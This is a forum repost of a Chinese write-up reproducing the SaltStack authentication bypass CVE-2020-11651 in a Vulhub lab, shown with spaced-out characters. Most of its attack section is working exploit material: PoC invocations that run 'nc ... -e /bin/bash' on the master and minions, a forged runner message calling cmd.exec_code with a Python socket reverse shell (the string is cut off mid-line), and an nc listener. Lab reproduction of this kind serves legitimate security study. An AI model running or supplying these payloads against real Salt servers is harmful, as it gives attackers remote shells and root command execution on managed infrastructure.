搜索

[28668] 2020-12-04_CVE-2020-11651SaltStack水平权限绕过漏洞

文档创建者：s7ckTeam
浏览次数：64
最后更新：2025-01-19
2020-12-04_CVE-2020-11651SaltStack水平权限绕过漏洞 C V E - 2 0 2 0 - 1 1 6 5 1   S a l t S t a c k 水 平 权 限 绕 过 漏 洞 半 夜 菊 花 茶   O t s 安 全   2 0 2 0 - 1 2 - 0 4 本 文 仅 用 于 安 全 技 术 交 流 学 习 本 文 仅 用 于 安 全 技 术 交 流 学 习 S a l t S t a c k   是 基 于   P y t h o n   开 发 的 一 套 C / S 架 构 配 置 管 理 工 具 。 国 外 某 安 全 团 队 披 露 了   S a l t S t a c k   存 在 认 证 绕 过 漏 洞 （ C V E - 2 0 2 0 - 1 1 6 5 1 ） 和 目 录 遍 历 漏 洞 （ C V E - 2 0 2 0 - 1 1 6 5 2 ） 。 在   C V E - 2 0 2 0 - 1 1 6 5 1   认 证 绕 过 漏 洞 中 ， 攻 击 者 通 过 构 造 恶 意 请 求 ， 可 以 绕 过   S a l t   M a s t e r   的 验 证 逻 辑 ， 调 用 相 关 未 授 权 函 数 功 能 ， 从 而 可 以 造 成 远 程 命 令 执 行 漏 洞 。 参 考 链 接 ： 参 考 链 接 ： h t t p s : / / l a b s . f - s e c u r e . c o m / a d v i s o r i e s / s a l t s t a c k - a u t h o r i z a t i o n - b y p a s s h t t p s : / / g i t h u b . c o m / r o s s e n g e o r g i e v / s a l t - s e c u r i t y - b a c k p o r t s h t t p s : / / g i t h u b . c o m / s a l t s t a c k / s a l t / b l o b / a 6 7 d 7 6 b 1 5 6 1 5 9 8 3 d 4 6 7 e d 8 1 3 7 1 b 3 8 b 4 a 1 7 e 4 f 3 b 7 / t e s t s / i n t e g r a t i o n / m a s t e r / t e s t _ c l e a r _ f u n c s . p y 漏 洞 环 境 漏 洞 环 境 下 载 d o c k e r - c o m p o s e . y m l     执 行 如 下 命 令 启 动 一 个 S a l t S t a c k   M a s t e r 服 务 ： 环 境 启 动 后 ， 将 会 在 本 地 监 听 如 下 端 口 ： 4 5 0 5 / 4 5 0 6   这 是 S a l t S t a c k   M a s t e r 与 m i n i o n s 通 信 的 端 口 8 0 0 0   这 是 S a l t 的 A P I 端 口 2 2 2 2   这 是 容 器 内 部 的 S S H 服 务 器 监 听 的 端 口 漏 洞 复 现 漏 洞 复 现 首 先 获 取 P o C 代 码 需 要 p y t h o n 3 的 环 境 ， 先 安 装 依 赖 包 举 例 如 下 ： 如 果 环 境 中 没 有 n c ， 也 可 以 修 改 P o C 代 码 ， 使 用 p y t h o n 直 接 构 造 反 弹 s h e l l 。 代 码 中 的 p a y l o a d 由 改 为 ： 控 制 端 开 启 n c 接 受 反 弹 s h e l l h t t p s : / / l i n k s . j i a n s h u . c o m / g o ? t o = h t t p s % 3 A % 2 F % 2 F g i t h u b . c o m % 2 F v u l h u b % 2 F v u l h u b % 2 F b l o b % 2 F m a s t e r % 2 F s a l t s t a c k % 2 F C V E - 2 0 2 0 - 1 1 6 5 1 % 2 F d o c k e r - c o m p o s e . y m l d o c k e r - c o m p o s e   u p   - d h t t p s : / / l i n k s . j i a n s h u . c o m / g o ? t o = h t t p s % 3 A % 2 F % 2 F g i t h u b . c o m % 2 F d o z e r n z % 2 F c v e - 2 0 2 0 - 1 1 6 5 1 p i p   i n s t a l l   s a l t . / c v e - 2 0 2 0 - 1 1 6 5 1 . p y   1 9 2 . 1 6 8 . 1 3 4 . 1 3   m a s t e r   ' n c   1 9 2 . 1 6 8 . 1 3 4 . 1 3   4 4 4 4   - e   " / b i n / b a s h " ' . / c v e - 2 0 2 0 - 1 1 6 5 1 . p y   1 9 2 . 1 6 8 . 1 3 4 . 1 3   m i n i o n s   ' n c   1 9 2 . 1 6 8 . 1 3 4 . 1 3   4 4 4 4   - e   " / b i n / b a s h " ' . / c v e - 2 0 2 0 - 1 1 6 5 1 . p y   1 9 2 . 1 6 8 . 1 3 4 . 1 3   f e t c h k e y o n l y m s g   =   { " k e y " : r o o t _ k e y ,                         " c m d " : " r u n n e r " ,                         ' f u n ' :   ' s a l t . c m d ' ,                         " k w a r g " : {                                 " f u n " : " c m d . e x e c _ c o d e " ,                                 " l a n g " : " p y t h o n 3 " ,                                 " c o d e " : " i m p o r t   s u b p r o c e s s ; s u b p r o c e s s . c a l l ( ' { } ' , s h e l l = T r u e ) " . f o r m a t ( c o m m a n d )                                 } ,                         ' j i d ' :   ' 2 0 2 0 0 5 0 4 0 4 2 6 1 1 1 3 3 9 3 4 ' ,                         ' u s e r ' :   ' s u d o _ u s e r ' ,                         ' _ s t a m p ' :   ' 2 0 2 0 - 0 5 - 0 4 T 0 4 : 2 6 : 1 3 . 6 0 9 6 8 8 ' } m s g   =   { " k e y " : r o o t _ k e y ,                         " c m d " : " r u n n e r " ,                         ' f u n ' :   ' s a l t . c m d ' ,                         " k w a r g " : {                                 " f u n " : " c m d . e x e c _ c o d e " ,                                 " l a n g " : " p y t h o n 3 " ,                                 " c o d e " : " i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 1 3 4 . 1 3 " , 4 4 4 4 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ "                                 } ,                         ' j i d ' :   ' 2 0 2 0 0 5 0 4 0 4 2 6 1 1 1 3 3 9 3 4 ' ,                         ' u s e r ' :   ' s u d o _ u s e r ' ,                         ' _ s t a m p ' :   ' 2 0 2 0 - 0 5 - 0 4 T 0 4 : 2 6 : 1 3 . 6 0 9 6 8 8 ' } n c   - l v n p   4 4 4 4
阅 读 原 文 作 者 ： 半 夜 菊 花 茶 原 文 地 址 ： h t t p s : / / w w w . j i a n s h u . c o m / p / 7 9 2 e d 7 3 a 1 b 5 d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理